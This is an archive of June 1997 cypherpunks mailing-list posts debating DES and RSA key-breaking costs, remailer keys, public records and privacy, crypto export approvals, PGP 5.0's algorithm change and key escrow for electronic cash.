Rick> At least Harry Houdini made it look easy when *he* cracked state
Rick> of the art security technology...

I was on the Talk America radio network very briefly Monday morning
(about 6:30-6:40 EDT).  The host read something like that, and
observed that it "must be pretty secure" to take three months.

I asked him how long it would be before his credit cards expired.

He got the point.

-- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin at research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Pull AGIS.NET's plug!  DES has fallen! http://www.frii.com/~rcv/deschall.htm






From trei at process.com  Tue Jun 24 07:23:34 1997
From: trei at process.com (Peter Trei)
Date: Tue, 24 Jun 1997 22:23:34 +0800
Subject: Comparing Cryptographic Key Sizes
Message-ID: <199706241351.GAA20823@toad.com>



Adam Back  writes.

> Below is a explanation of the meaning of cryptographic key sizes which
> started as an explanation I wrote for a journalist friend of mine, on
> being asked about how relatively secure a system using DES and RSA
> (SET) was as compared to netscapes export version of SSL.
 
> It could use some criticism.  If you are not that crypto aware, does
> it make sense to you?  If you are crypto aware, what do you think of
> my off the cuff estimates of hardness?
> 
> 
> 56 bit DES is probably roughly similar to 512 bit RSA in hardness to
> break.

This is way off. We used ~457,000 MIPS years to search half of the 
DES keyspace. Factoring a 512 bit modulus using the General Number
Field Sieve (GNFS) would take about 28,000 MIPS years (see Schneier
for the exact number - I don't have AC2 at hand)

Lenstra has estimated that with 500,000 MIPS years, you should be
able to factor a 600 bit modulus using GNFS, if your workstations 
had enough memory.

[...]

> About 10 years ago now Michael Wiener made a design for such a DES
> breaking machine.  He estimated it would cost $10,000,000 to build a
> machine which would break a 56 bit DES encrypted message a few hours.
> His machine was scalable, pay more money, break the key faster, pay
> less take longer.  The estimate was that could build one with enough
> DES key searching units to break it in a day for $1,000,000.  That was
> 10 years ago.  10 years is a long time in the computer industry.
> Nowadays you build the machine more cheaply as chip technology has
> progressed, and computers are much faster per $.  Estimates are around
> $100,000 to build the machine (neglecting hardware engineers
> consultancy fees).

Go back and check the numbers - if you don't the journalists will. 
(I don't have this paper to hand either :-( ) The Wiener paper is 
much more recent (93?) , and the cost much lower (I think it was 
about $1M for HW and $500K for development costs, for a 3.5 hour 
machine).

Peter Trei
trei at process.com
 






From medusa-admin at weasel.owl.de  Tue Jun 24 07:39:38 1997
From: medusa-admin at weasel.owl.de (Medusa Admin)
Date: Tue, 24 Jun 1997 22:39:38 +0800
Subject: New Middleman Mixmaster
Message-ID: <19970624132553.2081.qmail@squirrel.owl.de>



I have just set up a new mixmaster with the following key. It's purely a
middleman remailer, and hence will only forward mail to other mixmasters.
If it's used as the last link in the chain, or you send a request for the
key or statistics information, this will be sent out via a randomly chosen
remailer. Because all mail to the remailer goes through the nymserver as
well as my system, you should expect latency of a couple of hours.

Here is the public key for Medusa Remailer

=-=-=-=-=-=-=-=-=-=-=-=
medusa medusa at weasel.owl.de d34e77b9c0e4f52a51767c20a9e9b942 2.0.4b1 MC

-----Begin Mix Key-----
d34e77b9c0e4f52a51767c20a9e9b942
258
AATU6i9jf6U7CE08LTZA+JOUQzRd4RLPTW1v+PB3
ju0+oxGgLvPGAQ6N6ZlVnFGV8NpbYjc08S/dLlik
T41DcQcPoi9rCy9UgzWh8WcsxGr6GsCTgXrTyhOw
rw2WRJI3S/GH6+Zdexvw4+8ABtn8nGzh0vftpzUo
Jl+dX+kiSsbGvQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAQAB
-----End Mix Key-----






From frissell at panix.com  Tue Jun 24 07:47:59 1997
From: frissell at panix.com (Duncan Frissell)
Date: Tue, 24 Jun 1997 22:47:59 +0800
Subject: How did these people find our list? (fwd)
In-Reply-To: <199706241153.GAA25486@einstein.ssz.com>
Message-ID: <3.0.2.32.19970624103011.0077d820@panix.com>



------BEGIN PGP SIGNED MESSAGE-----

At 06:53 AM 6/24/97 -0500, Jim Choate wrote:
>Alaska was not only bombed by a foreign country (ie Japan) but it was the
>only continental US location to actualy be invaded. Do a search on Kiska and
>Dutch Harbor on Yahoo....
>
>Hawaii was also bombed and last time I checked it was part of the US, the
>same goes for Wake Is., Midway Is., and Phillipines.

Though neither Alaska nor Hawaii were states at the time.  Oregon was 
actually hit twice.

June 21, 1942, Fort Stevens at the mouth of the Columbia in Oregon is fired 
upon by the deck gun of a Japanese submarine. The first continental costal 
battery to be attacked by a foreign enemy (not counting those Southerners) 
since the War of 1812.  The Japs fire 17 shells. No apparent damage.  Fort 
Stevens is unable to depress its guns sufficiently to hit the submarine.  A 
draw.

See http://www.ohwy.com/or/f/ftsteven.htm and
http://www.owt.com/phs/classrooms/peto/3forts/stevens.html

Oregon also suffered the U.S. Mainland's only domestic casualties due to 
enemy action when a teacher and members of her family on a hike in southern 
Oregon were killed by a Japanese balloon bomb.  (These bombs were attached to 

balloons released from Japanese submarines off the coast.)

That doesn't excuse Oreganos being commies, however.

DCF


------BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6/ZuIVO4r4sgSPhAQGpYwP+PBaKiveJRNcDYz5VyCtUdKJeTgBIsNIH
D31prwQn+BeiMKXZ26KLfRfVBbK4441pLHna1BlQ3bc4whjN/pTobVQon4W8Y1zm
2Rvu2dOInzVZKBTgRwWTxl5Bm+sjwt+tI3FNCuQUHaBiP1moECaXlr5d5Zzby6aa
mbR6CVG6L/k=
=xSVQ
------END PGP SIGNATURE-----






From aba at dcs.ex.ac.uk  Tue Jun 24 08:09:05 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Tue, 24 Jun 1997 23:09:05 +0800
Subject: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241351.OAA04279@hermes>
Message-ID: <199706241449.PAA00198@server.test.net>




Peter Trei  writes:
> Adam Back  writes.
> > 56 bit DES is probably roughly similar to 512 bit RSA in hardness to
> > break.
> 
> This is way off. We used ~457,000 MIPS years to search half of the 
> DES keyspace. Factoring a 512 bit modulus using the General Number
> Field Sieve (GNFS) would take about 28,000 MIPS years (see Schneier
> for the exact number - I don't have AC2 at hand)
> 
> Lenstra has estimated that with 500,000 MIPS years, you should be
> able to factor a 600 bit modulus using GNFS, if your workstations 
> had enough memory.

Ah yes.  Well I did read your post on coderpunks where you described
the results of asking Lenstra and looking for ideas for what to break
next, how hard 512 bits was etc.

So... 28,000 MIPs years you say... but that neglects memory.
Lenstra's conclusion was that even 512 bits couldn't be done, from
your post.  So by that measure it is harder (due to memory overhead)
than DES even though theoretically taking less MIPS with 64 mb
workstations.  Also he was unsure about the availability of a large
enough supercomputer to reduce the final matrix.

So any suggestetions of how to summarise the "hardness" of a problem
when it includes memory and cpu costs in as simple terms as possible.
(Bearing in mind the reader in most cases hasn't grasped the
difference between public key crypto and symmetric key, and is
comparing 1024 bit keys to 56 bit keys and probably thinks that it is
1024/56 times harder.)

> > About 10 years ago now Michael Wiener made a design for such a DES
> > breaking machine.  He estimated it would cost $10,000,000 to build a
> > machine which would break a 56 bit DES encrypted message a few hours.
> > His machine was scalable, pay more money, break the key faster, pay
> > less take longer.  The estimate was that could build one with enough
> > DES key searching units to break it in a day for $1,000,000.  That was
> > 10 years ago.  10 years is a long time in the computer industry.
> > Nowadays you build the machine more cheaply as chip technology has
> > progressed, and computers are much faster per $.  Estimates are around
> > $100,000 to build the machine (neglecting hardware engineers
> > consultancy fees).
> 
> Go back and check the numbers - if you don't the journalists will. 
> (I don't have this paper to hand either :-( ) The Wiener paper is 
> much more recent (93?) , and the cost much lower (I think it was 
> about $1M for HW and $500K for development costs, for a 3.5 hour 
> machine).

I think I have his paper as a postscript file, will look.

But what do you think of the extrapolation to todays prices?  $100k?
(Ignoring consultancy fees).

Thanks for the criticisms, more please on readability and
understandability to neophytes!

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 




> Who on this list intends to go to HIP'97? http://www.hip97.nl
> I would like to organize a C*punks meeting there.

I have been thinking about it, I may come over for one day:

Do you know what crypto presentations are taking place? I think Lutz 
Donnerhacke is giving a presentation on smart card security and 
supposedly there is some GSM stuff.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From davidlu at sco.COM  Tue Jun 24 08:35:00 1997
From: davidlu at sco.COM (David Lucas)
Date: Tue, 24 Jun 1997 23:35:00 +0800
Subject: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241351.GAA20823@toad.com>
Message-ID: <3.0.2.32.19970624162104.007bb990@middx.x.co.uk>



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 09:52 24/06/97 -6, Peter Trei  wrote:
>Adam Back  writes.

<...>

>> About 10 years ago now Michael Wiener made a design for such a DES
>> breaking machine.  He estimated it would cost $10,000,000 to build 
a
>> machine which would break a 56 bit DES encrypted message a few 
hours.
>> His machine was scalable, pay more money, break the key faster, 
pay
>> less take longer.  The estimate was that could build one with 
enough
>> DES key searching units to break it in a day for $1,000,000.  That 
was
>> 10 years ago.  10 years is a long time in the computer industry.
>> Nowadays you build the machine more cheaply as chip technology has
>> progressed, and computers are much faster per $.  Estimates are 
around
>> $100,000 to build the machine (neglecting hardware engineers
>> consultancy fees).
>
>Go back and check the numbers - if you don't the journalists will. 
>(I don't have this paper to hand either :-( ) The Wiener paper is 
>much more recent (93?) , and the cost much lower (I think it was 
>about $1M for HW and $500K for development costs, for a 3.5 hour 
>machine).

Relevant section of AC2 is Table 7.1 (page 153)

The numbers referred to above are slightly out:

In 1995, $1M would give you a machine that would break 56-bit DES in 
an average of 3.5 hours

A $10M machine would break 56-bit DES in an average of 21 minutes

[Double the times for an exhaustive keysearch]

<...>
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM6/l3+Kk4yfQWUNhEQKW2ACgtC4Jpwy7TCPdXdvUkGuXrwiPDUMAoKD6
1XnG5v2Z9gJzQyrwQ8G4mJ1z
=zOLc
-----END PGP SIGNATURE-----

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
               David Lucas - Test Engineer @ SCO Cambridge.
                          E-mail: davidlu at sco.com

 Opinions expressed within this message are my own and do not necessarily
            represent those of my employer * I am not a lawyer
--------------------------------------------------------------------------
        The light at the end of the tunnel is an oncoming train...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From bull at juno.com  Tue Jun 24 09:00:07 1997
From: bull at juno.com (bull at juno.com)
Date: Wed, 25 Jun 1997 00:00:07 +0800
Subject: [ PGP 2.6.3 ]
Message-ID: <19970624.114147.7679.2.bull@juno.com>



Can someone give me a site where I can get a compiled copy of PGP 2.6.3?






From sunder at brainlink.com  Tue Jun 24 09:07:05 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Wed, 25 Jun 1997 00:07:05 +0800
Subject: William Just doesn't get it.
In-Reply-To: <199706240318.WAA01933@mailhub.amaranth.com>
Message-ID: 



On Mon, 23 Jun 1997, William H. Geiger III wrote:

> Only one here being clueless is you Ray.

Thanks for the compliment.  I burp in your general direction.
 
> The state is not allowed to engage in secret activities with select
> members of society. Whenever it issues a permit or a license to someone it
> is public knowledge. Whenever someone is arrested, whenever there is a
> trial both great and small the full details are public information.

Asking the state to protect my privacy by not disclosing the information I
disclose to it is not asking the state to engage in secret activities with
select members of society.  It is asking it not to release information
that I am forced to give them in return for certain goods, services, or
privilidges - driving for example.  Having a driver's license doesn't mean
I wish to share the information that the DMV requires to provide such a
license to the world.

Paying taxes doesn't mean I wish to disclose my 1040 form to the world.
 
> All actions of the state *must* be reviewable by the citizens. You can not
> have a free and open society without the people being able to check on
> what it's government is doing.

And tell me dear William, in what way will you prevent the government from
taking capricious actions against a free and open society by allowing
anyone to find out a phone number that is unlisted by simply calling up
DMV records?

This isn't keeping tabs on the government, this is keeping tabs on the
people which the government choses to infringe on.

If the DMV wasn't giving licenses to certain types of people and one
believed that this was the case, one should ask those people who felt that
they were discriminated against.  One should not have the ability to look
at EVERY record in the DMV databases - no matter how noble the thought.

This is not to protect the DMV, this is to protect those listed within its
databases.

> This means that all of the following *must* be open to the public:

Again, by your oppinion, not mine.  And no, I don't believe in a "free and
open" society.  I believe in a "free and private" society.
 
> Criminal Records

As for these, IMHO, once a criminal has completed their sentence they
should be allowed to have a life.  Having these records available to all
is a means of discriminating against them for having commited a crime as
judged by a jury.  Not necessarily having commited the crime, but being
convicted of doing so - as is well known mistakes have been made and lives
have been destroyed by such mistakes.

IMHO, repeat offenders will wind up in jail again, and will be punished
again.  This should not infringe on their right to secure jobs or the
right to rent, or buy homes.

The idea of the justice system is to correct these wrongs, not to punish
for life.  Once the debt is paid, it is paid.  There are some who believe
that offenders should not be re-released into society because they will
commit more crimes, and/or that the communities should be notified when
they are allowed to move there.  If it is the case that person X is likely
to commit more crime, then that fact should play a factor in person X's
parole hearing.  IMHO, if the danger is there, don't let the bastard out.
If it isn't, then let them go and let them live in peace and privacy.

> Voter Registrations

These too can be both a benefit and an infringement on privacy.  Whatever
information these records hold might be used for other purposes.

> Census Records

Why?  What is the purpose of having these records available in forms other
than a number?

> Building Permits

I agree here.

> Profesional Licenses

Sure, but only so far as to say "Yep, person X has this license" not "and
they live on xyz street, have three kids, and a poodle."

> Court Transcripts

Granted.

> Federal Records
> State Records
> County Records
> City Records

Granted, but which specific records?

> ect, ect, ect.

clue: You mean etc as in "Et Cetera."

> The problem here is *NOT* that this information is public. The problem is
> that the goverment has got it's fat little fingers into everything. The
> solution is *NOT* letting the state hide what it is doing with these so
> called privacy laws but to get the state out of where it has no business
> being in the first place!!!

I agree that there is ALSO a problem that the government has its fat
fingers in everything and is allowed to do things that others aren't
allowed to do.  For instance many places where gambling is illegal provide
lotteries with astronomical odds against the player.  Were the things done
by casinos, nobody would play.

I agree that what the state does and whom they interact with should be
public knowledge.  I do not agree that by virtue of interacting with the
state that I should be force to give up my privacy.  I do not have the
choice of not interacting with the state due to lovelies such as income
taxes and drivers licenses - I should not be forced to give up privacy as 
well because of this.

Based on what you say everything the state does should be public.  Fine,
but if anyone were able to see anyone else's 1040 forms, you'd have a lot
of invasion of privacy.  This is what you fail to see or understand.  This
isn't a strawman, it's plain fact.  If I can see your return, I can see
how much you make, whatever deductions or exemptions you claim can give me
a slew of information as to what you have purchased and your general life
style.  The address info and SSN will give me even more keys into your
info.  Birth and Marriage records will tell me who your mother is, then I
can look up her records, and find her maiden name, then I can take your
SSN, your mother's maiden name, your date of birth and hand them over to
TRW and see your credit card purchases, etc.  This is the thing that
should not be that you are advocating, the thing I and fighting you on.  I
think that it is indeed the case that you require a few clues.

> And this has nothing to do with GAK or any other 1984ish monitoring of
> citizens. The issue here is bringing the activities of the state into the
> light of day. The activities of the citizens that do not directly involve
> the state are not at issue here.

Then DMV records should not be fully visible, neither should 1040 forms,
for example.  But the key is "that do not directly involve the state"  The
problem is that the state directly involves us into their activities and
we directly involve them through our votes.  That is the key that will
unlock the records into the activities of the citizens, and unlock their
privacy when they should not.

For the most part we agree - the government's activities should be public
knowledge and should be watched and reviewed carefully.  However in your
eagerness to make this happen you would also strip away the privacy of the
citizens only because the government interacts and forces itself on
interacting with them.

And that is the clue you fail to get.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From aba at dcs.ex.ac.uk  Tue Jun 24 09:25:02 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 25 Jun 1997 00:25:02 +0800
Subject: spook pressure on crypto exports
In-Reply-To: <19970624103615.4100.qmail@aaa.aaa-mainstreet.nl>
Message-ID: <199706241511.QAA00479@server.test.net>




Ian Grigg  writes:
> Bill said:
> > ... and have been trying to work on the Irish...)
> 
> and Adam said:
> > Ireland is new to me.  What's their problem?
> 
> Ditto!  I'd like to know because ...
> 
> > Who's exporting things to attract spook export attention over there? 
> 
> Systemics is an Irish company, and so is Baltimore, and we both
> are 'exporters' depending on one's viewpoint.  

So's SSE (subsidiary of Siemens-Nixdorf).  But that's mostly/all
defense stuff, so they're presumably in thick with the military
intelligence, and export permission would be a snip for them.

> I don't know about Baltimore, but there is not a lot of pressure
> they can put on Systemics, as the majority of the Cryptix effort is
> now handed over to non-Systemics people.  That's the beauty of
> freeware.

Ireland allows intangible export, no permission required, same as UK.
They do say they would like a list of customers after the fact, but
that's just would like, not you are required to give or else.
(Clearly it would be a bit difficult to list the customers off your
open access web page).

For tangible exports you need permission, much as in the UK.  I get
the impression that the `open for business' attitude (love that 10%
corporate tax break, is systemics getting this?) would mean you'd get
an easier time than in the UK.  They promise fast efficient turn
around on export applications.  (Unlike NZ MFAT, reread Peter
Gutmann's story of down under intrigue on http://jya.com/nsazeal.htm
amazing, nearly bankrupted the company!)

> In contrast, I have been told that Ireland represents a prime place
> for this sort of stuff, as there are no restrictions whatever.

I think it's better than say UK.  But clearly not `no restrictions' at
least for tangible exports re above comments.

I don't know how this works out in practice, what they give tangible
export permission to, etc.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



from their web site, at
http://www.netscape.com/flash2/newsref/pr/newsrelease428.html
---

MOUNTAIN VIEW, Calif. (June 24, 1997) -- Netscape Communications
Corporation (NASDAQ: NSCP) today announced the
United States Department of Commerce has granted the company permission
to export Netscape Communicator client software
with 128-bit encryption capabilities. Available for immediate download
from the Netscape Internet site, Netscape Communicator
with strong encryption would allow users worldwide to enjoy far greater
protection for their information when communicating with
certified, strong encryption applications on Intranets and the
Internet. 

Netscape also received approval to export Netscape SuiteSpot server
software featuring 128-bit encryption capabilities to certified
banks worldwide. VeriSign will be providing a special-use digital
certificate which enables the encryption. This will allow Netscape
Communicator users to access their banking information from almost
anywhere in the world and communicate using strong
encryption with those banks which have implemented Netscape SuiteSpot
servers and completed the certification process. 

--- some pr crap deleted ---


International users who have Netscape Communicator do not need to
download a new version of Netscape Communicator to take
advantage of the strong encryption capabilities being announced today.
Negotiation of the strong encryption between international
versions of Netscape Communicator and Netscape SuiteSpot servers
approved for export to banks occurs through a unique
mechanism based on a special-use digital certificate.

etc...

-----

So... is this new approval for export of 128-bit encryption 
only for encryption between the users and these banks,
or is it general? If it's general, is GAK built in or not?
And if not, how did they get approval?

Ariel Glenn / AcIS R&D / Columbia University
ariel at columbia.edu
#include 






From tzeruch at ceddec.com  Tue Jun 24 09:53:48 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Wed, 25 Jun 1997 00:53:48 +0800
Subject: New PGP signatures
In-Reply-To: 
Message-ID: <97Jun24.124732edt.32257@brickwall.ceddec.com>



On Mon, 23 Jun 1997, Lucky Green wrote:

> 
> On Mon, 23 Jun 1997 tzeruch at ceddec.com wrote:
> 
> [On PGP switching to SHA-1/ElGamal]
> > They could have supported RSA/SHA if they wanted to.  They also put 3DES
> > and IDEA support as options in the manual (but not in the freeware or
> > tryit versions that I can see).
> 
> I guess suggestions such as the one above prove that CP is still attracting 
> newbies. That's a good thing. Now if they only read the FAQ.
> 
> The patents for DH (which cover the public domain ElGamal) expire this
> Fall. By using SHA-1/ElGamal, PGP is moving to a technology that will soon
> no longer require paying large sums of money to RSA for the use of a
> one-line mathematical formula. This is *a good thing*. 

PGP 5.0 is still covered by patents since it still has RSA in there to
read old messages.  Also (except for the legal pettifoggery), PGP is
supposed to have licenses to RSA. 

I was speaking technically, not politically.  If MD5 is broken, replacing
MD5 with SHA1 is the fix.  If my transmission is broken, I don't also need
a new engine.  The antecedent post mentioned the reason to change PGP was
a technical flaw.  My point (which echos the FAQ) is that there were other
forces at work - legal and economic factors.  So prepend "If all they were
interested in was fixing TECHNICAL weaknesses in PGP " to my comment.

If abandoning one standard and requiring the world to change to a
radically changed incompatible new one is "a good thing", it is only
because paying extortion is not, which is a sentiment I agree with.

I do think it is a shrewd move, since now the worst thing RSA can do to
them is not allow them to sell backward compatible versions in the US,
were I in their position I would probably do the same thing.

On the other hand, if PGP5+ messages are not covered by any licensing
restrictions on the technology, then PGP5+ can be cloned (i.e. a fully
interoperable version without any code from PGP inc.).








From enoch at zipcon.net  Tue Jun 24 10:24:31 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Wed, 25 Jun 1997 01:24:31 +0800
Subject: Political Prisoner of Intel
Message-ID: <199706241712.KAA10035@zipcon.net>





         http://www.rahul.net/jeffrey/ovs


--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $






From root at nwdtc.com  Tue Jun 24 10:29:32 1997
From: root at nwdtc.com (Alan Olsen)
Date: Wed, 25 Jun 1997 01:29:32 +0800
Subject: CNN - Encryption bill expected to pass House - June 23, 1997
Message-ID: <33B003B5.689A@nwdtc.com>



http://www.cnn.com/TECH/9706/23/encryption.reut/index.html

Encryption bill expected to pass House

June 23, 1997
Web posted at: 10:05 p.m. EDT (0205 GMT) 

WASHINGTON (Reuter) -- Legislation to
relax U.S. export limits on computer-encoding
technology is likely to move ahead in the
House of Representatives this week, despite
a severe setback in the Senate last week. 

The House International Relations' economic
policy and trade subcommittee will vote on a
bill Tuesday, chairwoman Ileana
Ros-Lehtinen, Republican of Florida, said. 

Current U.S. law strictly limits export of encryption software, which
scrambles
information and renders it unreadable without a password or software
"key." 

Once the realm of spies and generals, encryption has become a critical
technology to safeguard electronic commerce and global communications
over
the Internet. 

In the Senate last week, a similar bill to relax encryption-export
controls was
torpedoed when the Senate Commerce Committee approved a substitute which
would only modestly ease export restrictions. It effectively would allow
the
government to crack encrypted messages in the United States by gaining
access
to the software keys. 

The Clinton administration has been a strong proponent of so-called
key-recovery mechanisms, arguing that the proliferation of strong
encryption
without key recovery would hamper law-enforcement and national security
agencies' ability to keep tabs on criminals and terrorists. 

The House bill under consideration relaxes export rules without
requiring key
recovery. 

With 125 co-sponsors in the House, and "enthusiastic support" from
industry
and civil liberties and privacy advocates, the bill "is expected to be
passed with
limited changes," Ros-Lehtinen added. 

The bill could face a tougher challenge when considered by the full
International
Relations Committee. Chairman Benjamin Gilman, Republican of New York,
is
not a strong supporter of export liberalization, congressional staffers
said. 

U.S. software companies such as Netscape Communications, and Microsoft
Corp. have been clamoring for relief from encryption export controls. 

Copyright 1997 Reuters Limited. All rights reserved.






From tzeruch at ceddec.com  Tue Jun 24 10:53:12 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Wed, 25 Jun 1997 01:53:12 +0800
Subject: Hettinga's e$yllogism
In-Reply-To: 
Message-ID: <97Jun24.134510edt.32257@brickwall.ceddec.com>



On Sun, 22 Jun 1997, Robert Hettinga wrote:

> You just need to tell them that S909 will kill the commercial internet, and
> all the billions that have been invested in it.

More to the point, it will kill the commercial internet within the US.  We
could ban steelmaking for environmental or safety reasons, which would not
stop it, but then our steel producers and automakers would be out of
business.  I think the US may have one, maybe two years before we lose the
entire crypto industry to overseas.  We may still write the academic
articles, but all the software and hardware will be imported.  After all
the problems about losing jobs, we are actively destroying this sector of
high technology.

> >  Digital Commerce *is* Financial Cryptography,
> >  Financial Cryptography *is* Strong Cryptography,
> >  therefore,
> >  Digital Commerce *is* Strong Cryptography.
> >  and, therefore,
> >  No Strong Cryptography, no Digital Commerce.
> 
> ... why wouldn't escrow work ...

Because the government could retroactively reverse transactions.  Currency
is only as good as far as it is trusted.  Would you accept a transaction
that if the government opened the crypto, and found that the person that
sent you the cash was a drug dealer, which meant that all your finances
are thus contaminated with "drug money", and that they would not only
seize the transaction, but all other money?  I think not. 

The goverment could also open the note and spend it before you did (for
things like back taxes).  Assuming it is not a janitor working in the
building housing the escrow computer who is doing it.

In effect, key escrow applied to electronic cash is a lein against every
note that can be executed without your knowledge or consent.

There are technical solutions and problems which I can go into further. 
But, briefly, the goverment will want to track all sides, and anything
will require huge computer resources to store the escrowed keys.  That is
unless getting one key unlocks every $20 digital note issued, and then how
do we insure they will only unlock the ones listed in the original
warrant?  And what about stolen or multiply transacted ecash - you can
only unlock the original payer and final payee - I know, make it illegal
to transfer ecash without reporting the transaction!

>From the original use of the touchstone to insure the quality of gold
coins, all monitary units had to have an authentication mechanism.  If the
crypto is weak, notes are easy to forge (analogous to why there are so
many hard to print things on $100 bills).  If you can't tell counterfeit
cash from real cash, you don't accept it, electronic or otherwise.  This
is why the $yllogism works.  Just note that locations that can't verify
checks don't accept them. 

If the government can declare "authentic" currency to have no value
(especially retroactively), the same rule applies, which is why key escrow
is equally damaging. 








From shamrock at netcom.com  Tue Jun 24 11:01:11 1997
From: shamrock at netcom.com (Lucky Green)
Date: Wed, 25 Jun 1997 02:01:11 +0800
Subject: New PGP signatures (fwd)
In-Reply-To: 
Message-ID: <3.0.2.32.19970624104616.006fa0ec@netcom9.netcom.com>



At 02:08 AM 6/24/97 -0700, Mark Grant wrote:
>It's kind of hard to modify the code when I'm still waiting for the PGP
>5.0 code to be made available. I can't do a lot until people finish
>OCR-ing it. 

Note that the scanning teams are looking for non-US volunteers to proofread
the scanns. Each volunteer gets 100 pages. They must have access to a box
with perl and a C compiler to process the per-page error correcting code.
You *don't* need a scanner.

See http://www.ifi.uio.no/pgp/pgp50.shtml for more info.




--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From aba at dcs.ex.ac.uk  Tue Jun 24 11:10:00 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 25 Jun 1997 02:10:00 +0800
Subject: Wiener paper (was Re: Comparing Cryptographic Key Sizes)
In-Reply-To: <3.0.2.32.19970624162104.007bb990@middx.x.co.uk>
Message-ID: <199706241754.SAA00563@server.test.net>




Re comments that I should re-read the paper, here is what Wiener's
paper says about estimated costs of a specialized DES key breaker:

 $100,000 for a machine to break DES in an average of  35 hrs
 $1 mil   for a machine to break DES in an average of 3.5 hrs
 $10 mil  for a machine to break DES in an average of  21 mins

It was as Peter says published in 1993.

Wiener also budgets for $500,000 in design costs (wages, parts, fab
etc).

Another interesting part of the design is that it is based on a
pipelined chip, clocked at 50Mhz which can try 50 Million keys/sec.

35 hours sounds a reasonable amount of time to break a Swift banking
transfer key protecting trillions of dollars of funds.

Perhaps $10,000 isn't too far off the current day costs of breaking
DES after all.  (500Mhz chips?  You can get dec alphas at that speed,
and thats a general purpose CPU)

(If anybody is short of a copy, I've put the one up I've got (no idea
where I got it from) here:

	http://www.dcs.ex.ac.uk/~aba/crypto-papers/des_key_search.ps
)

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



>1. Government has copy of keys
>2. Government misuses keys.
>
>Simple enough for you?

Too simple.  Escrow for ecash isn't to allow forging cash, or stealing it.
It allows tracing it.

If you tell financial experts that making ecash traceable under court order is
goint to make electronic commerce impossible, they'll laugh.  They already
use systems which are even less private than that.

Anon






From lwp at mail.msen.com  Tue Jun 24 11:21:38 1997
From: lwp at mail.msen.com (Lou Poppler)
Date: Wed, 25 Jun 1997 02:21:38 +0800
Subject: Coding || Politics || Diplomacy (was: Radical Roots)
In-Reply-To: 
Message-ID: 



I saw a part of the PBS VietNam documentary last night, a (North)
Vietnamese general explaining that their defense against the folks with
helicopters was successful because it was never a purely military
strategy, instead always combining the political, the diplomatic and
the military.

What does this have to do with cypherpunks ?   A lot.

The recent unpleasantness in Washington, and Brussels, and London
has inspired many reminders that "Cypherpunks Write Code".
Amen to that -- and we clearly must hurry up and write more code now.
But we can and should do more.

We have long foreseen that the various Horsemen of the Apocalypse would be
used in the sound bite campaign to manufacture support for restrictions on
crypto.  No surprise then that we see this happening.  But there is still
time in this part of the battle, and an encouraging ripple effect of some
of our own political memes.  Many people in the US still remember the
abuses of J. Edgar Hoover, of Richard Nixon, or even Clinton's recent
abuse of FBI files; and these abuses are often mentioned along with the
lowest common denominator explanations of GAK in the mainstream media.
Much of the public in the Western Democracies retains a fuzzy belief in
freedom and privacy, and a fuzzy skepticism of Big Brother.

This is the political part of the battle, and the ranks of cypherpunks
include many people with skills in creating memes and sound bites.  Some
of these may not be coders at all, but they can contribute to the overall
strategy by inserting our own memes into the public's consciousness.  We
may not "win" on the political front alone, but even if the only
accomplishment is to delay the inevitable, this is very good in that it
allows the coders more time to write code.  Such effort is also rewarded
as it allows additional intelligent people to understand the issues and to
join us.  Cypherpunks write memes!

Finally, I will touch briefly on the dirtiest part of the effort -- the
diplomatic.  This has been discussed at length on this list and elsewhere.
The efforts by those who lobby and arm-twist and broker deals in
